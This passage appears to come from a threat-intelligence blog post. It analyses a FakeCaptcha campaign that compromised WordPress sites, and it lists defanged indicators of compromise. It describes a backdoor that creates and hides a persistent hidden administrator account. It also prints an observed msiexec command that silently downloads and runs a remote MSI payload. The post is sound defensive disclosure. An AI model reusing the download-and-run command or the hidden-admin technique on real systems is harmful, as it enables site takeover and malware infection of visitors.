add_action( 'after_setup_theme', 'dummy_functions_bootstrap' );
endif;
Note: In this case the actor added the backdoor code into a legitimate file. All functionality after the code comment are original/legitimate functionalities.
This backdoor has very similar functionalities to the first one. It creates a hidden administrator account and then makes sure to hide it using different methods, while also implementing persistence.
An overview of the key functionalities can be seen below:
- Creates a hidden administrative account with the username
adminbackup
and the emailadminbackup@wordpress.org
— mimicking a legitimate WordPress user. - Ensures account integrity: If the
adminbackup
account already exists but its email differs from the hardcoded value, the backdoor triggers a full update to reset the user’s email, password, and role back to the predefined configuration — effectively allowing the attacker to regain control over the account. - Hides the backdoor user from the admin interface by altering SQL queries through hooks like
pre_user_query
, preventing the user from appearing in standard admin user listings. - Falsifies the user count on the “All Users” and “Administrators” views by decrementing the displayed values by 1 using the
views_users
filter. - Blocks user editing: On the
load-user-edit.php
page, if an admin attempts to edit theadminbackup
account (and it's not the attacker themselves), the request is blocked withwp_die('Invalid user ID.')
. - Blocks user deletion: Hooks into
admin_menu
, and if a deletion attempt targets theadminbackup
user (or an account with an invalid ID), the process is killed with the same error message. - Adds persistence:
- Recreates the account if deleted.
- Resets user properties (email, etc.) if tampered with.
- Stores the user ID in a WordPress option (
_pre_user_id
) to keep track of the user between sessions. - Checks for successful deployment: If the special cookie
WORDPRESS_ADMIN_USER
is present and the backdoor user exists, the script halts with a message:WP ADMIN USER EXISTS
. - Prevents direct file access via URL.
The attentive reader might have spotted the sentence “Silence is golden” inside the backdoor code. I initially hoped that this would be a pretty unique feature allowing to identify this backdoor, but it turns out that this is a known sentence in the WordPress community. For reference you can read:
As we have just seen, the attacker deployed two sophisticated backdoors to the compromised website. Additionally, they made changes to the file “/wp-content/themes/Dummy/assets/js/main.min.js” to implement the initially discussed fake captcha redirect code, as presented in the first code field of this blogpost. During the complete incident, the threat actor used a proxy service to obfuscate their real IP address.
In case of the dvir[.]de the timeframe of compromise and active malicious redirections was only 5 days. Takedown happend withing 24 hours of the initial alert to the website owner. This is not always the case and I want to take this moment to thank all involved parties for their swift response to the issue.
Chapter 4: Hunting for additional websites infected by this FakeCaptcha variant
As we have already seen that this actor deployed several domains and a multi-stage infrastructure for this attack and that there is several other incidents reported online, lets take a minute to hunt for additional attacks.
To get started, here is an overview of the indicators related to the compromise of dvir[.]de. They will be the foundation for my hunt into additional attacker infrastructure:
hxxps[:]//analytiwave[.]com/api/getUrl
hxxps[:]//goclouder[.]com/0a1F2b3C4d5E6f7A8b9C0d1E2f3A4b5
hxxps[:]//amoliera[.]org
hxxps[:]//security[.]flargyard[.]com/B6c4D1a9F8g3H7e5N6b5A9dE4f?wsid=www[.]dvir[.]de&domain=d3d3LmR2aXIuZGU=
amoliera[.]com
www[.]amoliera[.]com
core[.]amoliera[.]com
amoliera[.]info
www[.]amoliera[.]info
core[.]amoliera[.]info
www[.]amoliera[.]org
core[.]amoliera[.]org
Luckily for us, the first indicator is already enough to find another infection via URLscan.io:
https://urlscan.io/search/#analytiwave.com
The oldest result for this search at time of writing is:
At the time of writing, this website is still infected and additionally shows a Cloudflare Phishing warning.
On URLscan we can find the malicious redirect code in the file “frontend.min.js”:
https://urlscan.io/responses/6ad1d9cd5ae0fdbae6d7b2db9aeb90d6970c8f99d180f10c8149a81a200246bc/
In fact, the file contains the same redirect logic twice. At point of writing, the attacker has moved the redirect code to 3 other files:
hxxps[:]//andoks[.]com[.]ph/wp-content/themes/agroly/assets/js/lib/bootstrap[.]min[.]js?ver=6[.]8[.]1
hxxps[:]//andoks[.]com[.]ph/wp-content/themes/agroly/assets/js/lib/nav-fixed-top[.]js?ver=6[.]8[.]1
hxxps[:]//andoks[.]com[.]ph/wp-content/themes/agroly/assets/js/slider[.]js?ver=6[.]8[.]1
As observed with the dvir[.]de website, this might be a sign of ongoing compromise and frequent changes done by the attacker.
Analyzing these code pieces gives us the following 3 indicators:
hxxps[:]//sharecloud[.]click/0a1F2b3C4d5E6f7A8b9C0d1E2f3A4b5
hxxps[:]//stat[.]bundlehulu[.]com/api/getUrl
hxxps[:]//analytiwave[.]com/api/getFrameUrl
Note that the second URL also contains a reference to the “hulu” streaming platform.
Using this infected website, I also observed redirects to the following malicious pages:
hxxps[:]//analyticnodes[.]com/A3f9C1bE7a2F4d8B
sopeited[.]com
www[.]sopeited[.]com
core[.]sopeited[.]com
sopeited[.]info
www[.]sopeited[.]info
core[.]sopeited[.]info
sopeited[.]org
www[.]sopeited[.]org
core[.]sopeited[.]org
Additionally, an alternative payload mechanism on the fake captcha page was observed. Instead of the previously demonstrated PowerShell command execution, the captcha template now asks users to execute a msiexec command to execute a remote Windows msi file.
msiexec.exe" /i hxxps://fopelas[.]com/flare.msi /qn
A full execution of such a payload including the fake captcha process can be seen here:
At this point it is clear that there is a lot of additional domains and URLs that can be uncovered. They can all be uncovered by using a combination of URLScan.io to find infected pages, then monitoring these pages, analysing their source code and repeatadly trying to trigger the infection cycle. Since I don’t want to bore my audience with showcasing this repetitive process, I will cut the hunting section at this point. A list of all IoC I was able to uncover can be found in the IoC section.
Chapter 5: Conclusion
As I’ve tried to show throughout this article, there’s a ton of development happening right now with different threat actors building out FakeCaptcha frameworks. The attack framework I’ve presented here is just one of several different ones popping up all over the internet. While there are plenty of low-level attacks using simple templates — usually thrown together by less skilled folks — this particular framework takes some interesting approaches to victim tracking, has a payload generation algorithm I haven’t seen in other kits yet, and shows signs of trying to build out an affiliate tracking system. This might mean the threat actors are looking to scale up into a bigger pay-per-install or initial access operation.
Some of the targeted websites, among them the website of the German Association of International Law (reference for this article) or the Los Angeles Caregiver Resource Center, caught my attention. These are high-value targets, and when they’re being used to spread malware, attackers could end up with some really sensitive data. We’ve seen frameworks like “Kongtuke” grow into full ransomware access services, which just goes to show how important it is to keep watching this threat landscape as it develops.
I really enjoyed digging into those webserver logs from dvir[.]de, and I’m grateful the owner trusted me with that data. I honestly didn’t know about all the different ways attackers can backdoor WordPress through plugins — that was probably my biggest takeaway from this whole investigation. Hopefully you picked up something useful from reading this too.
I’m also hoping someone out there can take the steps needed to shut down this attacker infrastructure, which is still running as I write this.
Please let me know any kind of feedback via my social medias: https://linktr.ee/gi7w0rm
I’ll skip asking for KoFi donations this time. My social media and blog activity have dropped off over the past few months since starting full-time work and doing a lot of TLP-Amber stuff. I’m honestly not sure when I’ll have the next big piece ready. I’ve got tons of plans, but there are only 24 hours in a day and I’m just one person.
I hope you’re having a good day/afternoon/evening/night wherever you are, and hopefully I’ll be back soon with something new. Thank you to all those that read this complete piece and those that keep supporting me on all platforms. You guys are the reason that I can do a lot of interesting things and I appreciate you all! Until next time.
Cheers ❤
IoC
List of known current and historically compromised sites:
dvir[.]com
losangelescrc[.]usc[.]edu
gravitypowersolution[.]com
amcl[.]com
mycadc[.]org
andoks[.]com[.]ph
tsrc[.]org
cestcomca[.]com
iimbx[.]iimb[.]ac[.]in
squaresnacres[.]com
www[.]psych[.]bronxcare[.]us
apneo[.]pl
zurirestaurant[.]com
www[.]nivoletrevard[.]fr
www[.]theventuradentist[.]com
consultagoya[.]com
blazecut[.]com
widexp[.]com
woodslabs[.]ca
www[.]zennailbar[.]com
List of first and second stage inject domains:
analytiwave[.]com
goclouder[.]com
stat[.]bundlehulu[.]com
sharecloud[.]click
analytido[.]com
analyticnodes[.]com
anallyticsnodde[.]com
List of fake Cloudflare page domains:
security[.]claufgaurd[.]com
security[.]clodaflare[.]com
security[.]clodufgard[.]com
security[.]clodufshield[.]com
security[.]clodujflare[.]com
security[.]cloflguared[.]com
security[.]cloofalerg[.]com
security[.]closecufre[.]com
security[.]cloudstwr[.]com
security[.]clouodgrd[.]com
security[.]cloydgvarde[.]com
security[.]colkudflare[.]com
security[.]flaiegaurd[.]com
security[.]flargyard[.]com
security[.]flclodshield[.]com
security[.]flearegaurdc[.]com
security[.]flflaegaurd[.]com
security[.]secuclauf[.]com
security[.]shieldclouds[.]com
List of payload server domains:
# For PowerShell payloads
amoliera[.]com
amoliera[.]info
core[.]amoliera[.]com
core[.]amoliera[.]info
core[.]amoliera[.]org
core[.]sopeited[.]com
core[.]sopeited[.]info
core[.]sopeited[.]org
sopeited[.]com
sopeited[.]info
sopeited[.]org
www[.]amoliera[.]com
www[.]amoliera[.]info
www[.]amoliera[.]org
www[.]sopeited[.]com
www[.]sopeited[.]info
www[.]sopeited[.]org
# For MSI Payloads:
elomaio[.]com
fopelas[.]com
Payload C2s:
# Aurotun + Donutloader (+ Unknown)
91.200.14[.]69:7712
uplink-routes[.]asia
d-nodes[.]shop
# Lumma Stealer
hxxps[:]//westrosei[.]live/agoz
hxxps[:]//jawdedmirror[.]run/ewqd
hxxps[:]//changeaie[.]top/geps
hxxps[:]//lonfgshadow[.]live/xawi
hxxps[:]//liftally[.]top/xasj
hxxps[:]//nighetwhisper[.]top/lekd
hxxps[:]//salaccgfa[.]top/gsooz
hxxps[:]//zestmodp[.]top/zeda
hxxps[:]//owlflright[.]digital/qopy
Known Payload hashes
#Aurotun Stealer + Donutloader:
c078b10c298528c6a50a776519ef2be6819c43642aa82a88784d85e35d6b8298
Hashes for on-server backdoors:
#core-handler/core-handler.php
c83d1d9b7fc84bf5a5feb320795d4e82615f82ad1a1520148ba9169d13272a4c
#core-handler2/core-handler.php
1f3f3d940375fb237e3c9fd3e7534edb4a9232a8747d5da039f03558ccff8a43